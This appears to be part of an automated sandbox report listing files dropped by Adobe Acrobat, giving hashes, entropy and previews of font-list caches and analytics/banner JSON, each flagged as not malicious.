Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6468

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6468

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365017501140061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJM3g98kUwPeUkwRe9:YvXKXzyplWZc0v8iGMbLUkee9
MD5:	CAA4B9AD28C71413EC8B94C057B6F713
SHA1:	540537891C27324B4600336302657264222CE4CC
SHA-256:	CA2A881C0524B3D90BCD8AE0F50A33E2BF5FE76589E24BDF37EC904808DDD298
SHA-512:	C3E0C9EF1E4090E632113D3CAC0D22436F55FB9803C366D013B0A3C8526E2F624FEA81299D01B1FF9BD379E2F947A5EDCD9B1185050C4C8DEE1F3BC5C46C7114
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.317100877558824
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJfBoTfXpnrPeUkwRe9:YvXKXzyplWZc0v8iGWTfXcUkee9
MD5:	350B1128D273B6BF7DC9798F4B0DBD0C
SHA1:	4B507930B5B3A7861584280C702F87007CEA840D
SHA-256:	DBA92A765C6DF7DCD3705968828CE142E8B2930AA0DDE3E0DE7D501C4004EE01
SHA-512:	165D534C38EF926DBEAD9BD4295FA0B1CD1B48C8C3530960CA2C151DED03250EC1A0B7C78A091CBF88FC2A7A39212CA101B8908BABF6AFA990F20C4656C21220
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2958070917857025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJfBD2G6UpnrPeUkwRe9:YvXKXzyplWZc0v8iGR22cUkee9
MD5:	29210EC9E76BFB97B11D1E05769DCA71
SHA1:	B68E0679130983DF4536EFB38C7E7785C8A852CA
SHA-256:	4702F26DC94163B6E7402B00048146DAC6D5DAADCB3B7AD4ED1804300AD46147
SHA-512:	FA837BBE5B97A5839249E18B6347D6D8544E9FA5223748CBDD8E1D48EB9C78965F4B349475E584DC447D35A343A22BF8DA63976780DEE34F54C1F51E7B09B3BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352086046451812
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJfPmwrPeUkwRe9:YvXKXzyplWZc0v8iGH56Ukee9
MD5:	3FBAD6119FAB1B1B2968EB3D0F048D30
SHA1:	149AC374DBB2B1FEBBE210EDD7667063A0FAF6E3
SHA-256:	E6D600F12B83172438B8598726A1473D26051EF7DD67982877B43D099B75A167
SHA-512:	07D4464275B18FC423156805B4086CCAA56A663F10A71AB6F9374F66BA84863442E47F2C4B67AE0D9DD4D0AB5E997ADACB64F0A06CBD6A75389A351AE954D8EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68890932734553
Encrypted:	false
SSDEEP:	24:Yv6XzyTWzvMpLgE9cQx8LennAvzBvkn0RCmK8czOCCSOZ:YvKyTOkhgy6SAFv5Ah8cv/OZ
MD5:	9E72D8A3FFE48A4FD83E329C6B0028F7
SHA1:	AE73BD2E752D6DAC36693E730C298462DDFB7ADA
SHA-256:	BE731C905F5452A66720D8B790B13D656169237A3CC7DE2924470E2886BA90AE
SHA-512:	D268AFE54A4134D5BA37FCE810D28480B2D714B94831CE64750C0F0ED16CE7776CB1150DC36A4D0E2A5ACBB62496686AF8B46E51071663E301FCDF94A1655ABF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299395914905887
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJf8dPeUkwRe9:YvXKXzyplWZc0v8iGU8Ukee9
MD5:	B7FBCFF5EDBD1D3EAF35D219D135EFB6
SHA1:	348C3229832CE0E10A67796DF47741771D6862A1
SHA-256:	D045F60BD5D073B0B71A63EA76F394CC77AA0B6D3FC8B09BC91E0BC7323FA2B3
SHA-512:	CD5AEEF5CDC4CB1651A4166B5CD1A717C2108952B7B6DA589F5A332886424619587A272F02A1A8BE7169E9EB230B0E5CBD942BB71840BD0C91428E899709753F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.304158982403315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJfQ1rPeUkwRe9:YvXKXzyplWZc0v8iGY16Ukee9
MD5:	6F2374BB0A249D29252DD9B09BEBCD1A
SHA1:	EA3C1BEFBAD99FE47647156233ECE7E0A65B5F8F
SHA-256:	0F53308EBDFBABFFED2DEAA9D8E9E1335B981CBBF5D25912E7FB44007DF5C817
SHA-512:	954A1C8F1A4E31FA8BE377EA58DF0B73E916C8CE8FF05ABBF9AC2B106851695FB714BFEB6D632EE91F5326DB58B5202C0E1D7E24EAA9C9C171A70782E748BAAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309204130919039
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJfFldPeUkwRe9:YvXKXzyplWZc0v8iGz8Ukee9
MD5:	98AD06F6611548796326F31EAA051EEA
SHA1:	E36CC4D25B2CA05E41B32665036E3DBBE184FA19
SHA-256:	FBDA7975AD66AC144BC10AAC13254BDBF8808C627185776A996B3AA771BBB752
SHA-512:	00C7730688F9F0577D3235846BB850D7986D72D20DF4835DC3DDF667EDE121137AC48DAD40101FADB9FBDF2F19AF78726259CFB024FB0020D17B1E95D96E9E79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.32419597060969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJfzdPeUkwRe9:YvXKXzyplWZc0v8iGb8Ukee9
MD5:	F8173D1D765CA536A48F020C4DD3DB69
SHA1:	1424EA58407B193E491EC125CC6C8FE730EF8FDC
SHA-256:	1CF720B1F77023BB945EF66C7FE0DC23900C7239D1409692176DA530B55A3BE5
SHA-512:	F08E73C2F07D02E4DA81002E895543888B1AE42793B0DFD808AD6D9E9FD2DADCE6A81CBAA7AA3B98419E700248E098328E0593ADC14A7516F2B72056B5128D2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305480376067667
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJfYdPeUkwRe9:YvXKXzyplWZc0v8iGg8Ukee9
MD5:	CA801DF6AAB0F2CD185BA33C154B0F71
SHA1:	C034BC669DC58396F35F4EC6DA51463E93D3D5F8
SHA-256:	2009226430AEB57156C7FC07F63C23DF019AD1C320C017C1E0A573652F23F884
SHA-512:	2931C297BE7832D7B38D7D63B0021A209C7B94F4FF5317F59C7B06A14699B40B04FDBCAF7B6583DF33E7E3B628FFF2BC8457F651BDDA77E9069C2947A42A3F3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29162723438469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJf+dPeUkwRe9:YvXKXzyplWZc0v8iG28Ukee9
MD5:	0DF8B67417ECC07A2E4B248C4C038112
SHA1:	D90C4EC132A6CF34603F45464A12699381E4C1F0
SHA-256:	DF4CAE3C94922C2E33A78FAC85F201B65CEB561ABD410F0DC234F068788D5F5D
SHA-512:	584B62E134DF13E7DB9DC25B60AFD8FE83B523CF350FEE0C6750C2A4CE540E0933801E047E280665FD7C8AE8B5B39F8CAA887B8C863FC6C08793101EAA288B49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.288989807926632
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJfbPtdPeUkwRe9:YvXKXzyplWZc0v8iGDV8Ukee9
MD5:	E558E82185044BFEFF2142B3905903EC
SHA1:	6713B9BC969BF40654204BE3C34E00C7748AA762
SHA-256:	4C47DB504F6C5EE45B73A82AF6E92A64C50A3703F1BABF95CCDDA12908994FD4
SHA-512:	5C94E9B165FC1A7B39E36C1470C69EAA27419253C52FCCE6978630535E40DFFD15D0C7FBF9EA5ABF1DB3FF641984F87E0FB323CF576413782B4DED5A36D19C45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.294292393905094
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJf21rPeUkwRe9:YvXKXzyplWZc0v8iG+16Ukee9
MD5:	914860AB487D8CC84D2F115BB5C893DF
SHA1:	0E538C8FD3503936DB82DBF0F442150CB3AF84E8
SHA-256:	673647A293A0E580E914CEC41948F9CD852DD48D3E9B8DA856DBCB47D6212245
SHA-512:	B25277A8E744BBCC268571C5A8CAA15199EC534F455DF8470BDFB9CD593014276460A345D07EDF4A6E8B954529076941EE0C80960E06944CCBD5559637DDA4D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663187870737189
Encrypted:	false
SSDEEP:	24:Yv6XzyTWzv4amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSOZ:YvKyTOGBgkDMUJUAh8cvMOZ
MD5:	D354CA0E2C804CA075A50ECFAFF8FDAC
SHA1:	69A69945F7D07B6965EDA85A99EF6B42591D4E12
SHA-256:	59260F5F8C13E82BE002CF3BCB47631991E5269E0CFBFAA46D158B9A93E2F86E
SHA-512:	1C1FEBFD6E34EC1FC8457CC437C55AC6918477CCFF64AE1517EDE1BB5139F92566A607D689979F9B57760470FC57C9D56ECDD6B2AF0EBD730681A42ABC39E919
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8aba7136-d257-4101-b715-1a3759c12ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730964723,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.270096572219143
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEChQplnVoZcg1vRcR0YaktoAvJfshHHrPeUkwRe9:YvXKXzyplWZc0v8iGUUUkee9
